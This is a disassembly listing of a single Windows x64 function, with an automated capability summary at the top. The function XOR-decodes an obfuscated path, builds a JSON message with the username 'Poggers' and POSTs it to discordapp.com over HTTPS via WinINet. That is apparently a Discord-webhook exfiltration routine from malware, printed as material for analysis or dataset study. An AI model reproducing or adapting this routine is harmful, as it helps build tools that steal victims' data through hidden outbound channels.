Function at 0x140051420
Capabilities:
Connect to http server
Create http request
Encode data using xor
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x38]
sub rsp, 0x110
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x14013ea40]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rdi, rcx
mov qword [rsp + 0x68], rcx
mov qword [rbp - 0x58], rcx
xor r14d, r14d
movups xmm0, xmmword [0x1400f9d38]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400f9d48]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400f9d58]
movups xmmword [rbp - 0x70], xmm0
mov eax, dword [0x1400f9d68]
mov dword [rbp - 0x60], eax
mov ecx, r14d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400515da
movdqa xmm5, xmmword [0x140100580]
movdqa xmm4, xmmword [0x140100630]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rbp - 0x40], xmm0
lea rdx, [rsp + 0x74]
mov r8d, dword [rbp - 0x40]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401005f0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401005f0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x30
jl 0x1400514d0
cmp ecx, 0x34
jge 0x14005161e
movsxd rax, ecx
lea r8, [rsp + 0x70]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x34
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x34
jl 0x1400515f0
lea rax, str.application_json
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], r14
mov rcx, qword [rdi + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0x25
jb 0x140051a24
mov rax, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140051655
mov rax, qword [rdi]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], Ordinal_41
lea r9, str.__username_:__Poggers____content_:__
mov r8, rdi
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.1400045f0
nop
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rax, rdx
sub rax, rcx
cmp rax, 3
jb 0x1400516d3
lea rax, [rcx + 3]
mov qword [rsp + 0x58], rax
lea rbx, [rsp + 0x48]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x48]
add rbx, rcx
mov r8d, 3
lea rdx, [0x1400f9d08]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 3], 0
lea rax, [rsp + 0x48]
jmp 0x1400516f4
mov qword [rsp + 0x20], 3
lea r9, [0x1400f9d08]
xor r8d, r8d
lea edx, [r8 + 3]
lea rcx, [rsp + 0x48]
call fcn.140004270
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rsi, [rbp - 0x30]
mov rcx, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
cmova rsi, rcx
jbe 0x140051767
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051762
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140051762
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e6838
movdqa xmm0, xmmword [0x1400f8950]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x1400517b8
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400517b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400517b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e6838
movdqa xmm0, xmmword [0x1400f8950]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rsi + rbx], 0
jne 0x1400517d2
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, [0x1400f9c50]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r13, rax
test rax, rax
je 0x1400519a6
mov r8d, 0x1bb
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea rdx, str.discordapp.com
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r12, rax
test rax, rax
je 0x14005199c
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], 0x84880100
lea rax, [rbp - 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rsp + 0x70]
lea rdx, str.POST
mov rcx, r12
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r15, rax
test rax, rax
je 0x140051993
mov dword [rsp + 0x20], ebx
mov r9, rsi
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_json
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x14005198a
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x50], reloc.WLDAP32.dll_Ordinal_32
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x50]
lea r8, [rbp - 0x30]
mov edx, reloc.WS2_32.dll_send
mov rcx, r15
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x1400518de
lea rcx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov rsi, r14
mov ebx, r14d
mov ecx, 0x800
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
mov dword [rbp - 0x50], ebx
lea r9, [rbp - 0x50]
mov r8d, 8
mov rdx, rax
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140051970
mov rdi, 0xffffffffffffffff
mov ecx, dword [rbp - 0x50]
test ecx, ecx
je 0x14005196b
mov edx, ebx
add edx, ecx
cmovb rdx, rdi
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
je 0x14005194a
mov rsi, rax
mov r8d, dword [rbp - 0x50]
mov ecx, ebx
add rcx, rax
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
add ebx, dword [rbp - 0x50]
mov dword [rbp - 0x50], 0
lea r9, [rbp - 0x50]
mov r8d, 8
mov rdx, r14
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140051916
mov rdi, qword [rsp + 0x68]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test rsi, rsi
je 0x140051987
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor r14d, r14d
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x1400519dc
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x1400519d7
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140051a1d
mov rcx, r8
call fcn.1400e6838
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1400e68d0
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140004100
nop
int3